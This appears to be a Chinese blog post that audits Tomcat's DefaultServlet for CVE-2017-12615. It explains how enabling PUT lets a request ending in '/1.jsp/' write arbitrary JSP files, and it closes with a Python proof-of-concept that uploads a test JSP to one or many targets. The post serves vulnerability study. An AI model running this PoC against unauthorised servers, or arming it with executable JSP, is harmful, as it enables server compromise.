java代码审计-不安全的配置-Tomcat任意文件写入(CVE-2017-12615)

Tomcat任意文件写入(CVE-2017-12615)

影响范围:Apache Tomcat 7.0.0 - 7.0.79 (windows环境)

        当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

        Tomcat 在处理请求时有两个默认的 Servlet,一个是 DefaultServelt,另一个是JspServlet。两个 Servlet 被配置在 Tomcat 的 web.xml 中。

<servlet> 
    <servlet-name>default</servlet-name> 
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> 
 <init-param> 
    <param-name>debug</param-name> 
    <param-value>0</param-value> 
 </init-param> 
 <init-param> 
    <param-name>listings</param-name> 
    <param-value>false</param-value> 
 </init-param> 
    <load-on-startup>1</load-on-startup> 
 </servlet>
<servlet> 
    <servlet-name>jsp</servlet-name> 
    <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class> 
 <init-param> 
    <param-name>fork</param-name> 
    <param-value>false</param-value> 
 </init-param> 
 <init-param> 
    <param-name>xpoweredBy</param-name> 
    <param-value>false</param-value> 
 </init-param> 
    <load-on-startup>3</load-on-startup> 
 </servlet

DefaultServelt与JspServlet的映射规则

 <servlet-mapping> 
    <servlet-name>default</servlet-name> 
    <url-pattern>/</url-pattern> 
 </servlet-mapping> 
 <!-- The mappings for the JSP servlet --> 
 <servlet-mapping> 
    <servlet-name>jsp</servlet-name> 
    <url-pattern>*.jsp</url-pattern> 
    <url-pattern>*.jspx</url-pattern> 
</servlet-mapping>

在DefaultServlet中有对put请求的处理方法,代码如下

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        if (this.readOnly) {
            resp.sendError(403);
        } else {
            String path = this.getRelativePath(req);
            WebResource resource = this.resources.getResource(path);
            DefaultServlet.Range range = this.parseContentRange(req, resp);
            Object resourceInputStream = null;
​
            try {
                if (range != null) {
                    File contentFile = this.executePartialPut(req, range, path);
                    resourceInputStream = new FileInputStream(contentFile);
                } else {
                    resourceInputStream = req.getInputStream();
                }
​
                if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
                    if (resource.exists()) {
                        resp.setStatus(204);
                    } else {
                        resp.setStatus(201);
                    }
                } else {
                    resp.sendError(409);
                }
            } finally {
                if (resourceInputStream != null) {
                    try {
                        ((InputStream)resourceInputStream).close();
                    } catch (IOException var13) {
                    }
                }
​
            }
​
        }

这段代码是一个Java Servlet中的doPut()方法,用于处理HTTP PUT请求。具体来说,它用于更新或创建Web资源。

首先,代码检查了是否设置为只读模式。如果是只读模式,则通过resp.sendError(403)返回HTTP 403 Forbidden错误。

如果不是只读模式,则继续执行PUT请求的处理逻辑。首先,获取请求路径path,然后使用this.resources.getResource(path)从资源管理器中获取与该路径对应的Web资源对象,赋值给resource变量。

接下来,代码解析Content-Range请求头,以确定PUT请求的范围。如果存在范围,则执行部分更新操作,并将更新后的内容写入到临时文件中。然后,将该临时文件作为输入流赋值给resourceInputStream变量。如果没有范围,则直接使用请求的输入流作为resourceInputStream

然后,代码调用this.resources.write(path, (InputStream)resourceInputStream, true)方法,将输入流中的内容写入到指定的Web资源中。如果写入成功,则根据资源是否已存在返回相应的HTTP状态码(204表示资源已存在且成功更新,201表示资源创建成功)。如果写入失败,则返回HTTP 409 Conflict错误。

最后,在finally块中关闭resourceInputStream流。

请注意,我们无法提供完整的上下文,因此某些调用的具体实现细节可能无法确定。以上是根据提供的代码片段给出的大致解释。如果需要更多具体细节,请提供相关代码的完整上下文。

该方法的开端就判断了一个 readOnly 属性,当结果为 true 时会直接返回 403,但如果readOnly为false 那这段程序处理的逻辑是怎样的?

在web.xml将这个类(DefaultServlet)的readOnly设置为false

<init-param> 
    <param-name>readonly</param-name> 
    <param-value>false</param-value> 
</init-param>

        关键的代码在于 resources.write(path, resourceInputStream, true)的作用是将resourceInputStream中的资源内容写入到指定的path路径中的文件中,并且以追加的方式进行写入操作。

这里就有理由怀疑是否存在任意文件上传漏洞了,因为path与resourceInputStream为用户可控。

具体的漏洞利用复现请参考下面的文章,写的非常棒!

Tomcat任意文件写入(CVE-2017-12615)漏洞复现-含POC和EXP - 纸机 - 博客园 (cnblogs.com)icon-default.png?t=N7T8https://www.cnblogs.com/confidant/p/15440233.html

注1:这里提一下的为什么要get /1.jsp/而不是/1.jsp,因为当请求路径为/1.jsp/时,首先根据</servlet-mapping>,匹配到的是default,若请求路径为`/1.jsp则匹配的servlet为jsp,这样就无法进入doput方法。

注2:获取靶场环境中catalina包(内含defaultservlet)。将此容器环境中tomcat的catalina包拉取,拉取下来做代码分析。

最后学习大佬的poc编写

#CVE-2017-12615 POC
__author__ = '纸机'
import requests
import optparse
import os
​
parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')
​
options,args = parse.parse_args()
#print(options)
#验证参数是否完整
if (not options.URL or not options.PORT) and not options.FILE:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port] [-f FILE]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')
​
filename = '/hello.jsp'
​
#测试数据
data = 'hello'
​
#提交PUT请求
#resp = requests.post(url1,headers=headers,data=data)
​
#验证文件是否上传成功
#response = requests.get(url2)
#上传文件
def upload(url):
  try:
    response = requests.put(url+filename+'/',data=data)
    return 1
  except Exception as e:
    print("[-] {0} 连接失败".format(url))
    return 0
def checking(url):
  try:
    #验证文件是否上传成功
    response = requests.get(url+filename)
    #print(url+filename)
    if response.status_code == 200 and 'hello' in response.text:
      print('[+] {0} 存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
    else:
      print('[-] {0} 不存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
  except Exception as e:
                #print(e)
    print("[-] {0} 连接失败".format(url))
if options.FILE and os.path.exists(options.FILE):
  with open(options.FILE) as f:
    urls = f.readlines()
    #print(urls)
    for url in urls:
      url = str(url).replace('\n', '').replace('\r', '').strip()
      if upload(url) == 1:
        checking(url)
elif options.FILE and not os.path.exists(options.FILE):
  print('[-] {0} 文件不存在'.format(options.FILE))
else:
  #上传链接
  url = options.URL+':'+options.PORT
  if upload(url) == 1:
    checking(url)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

昵称还在想呢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值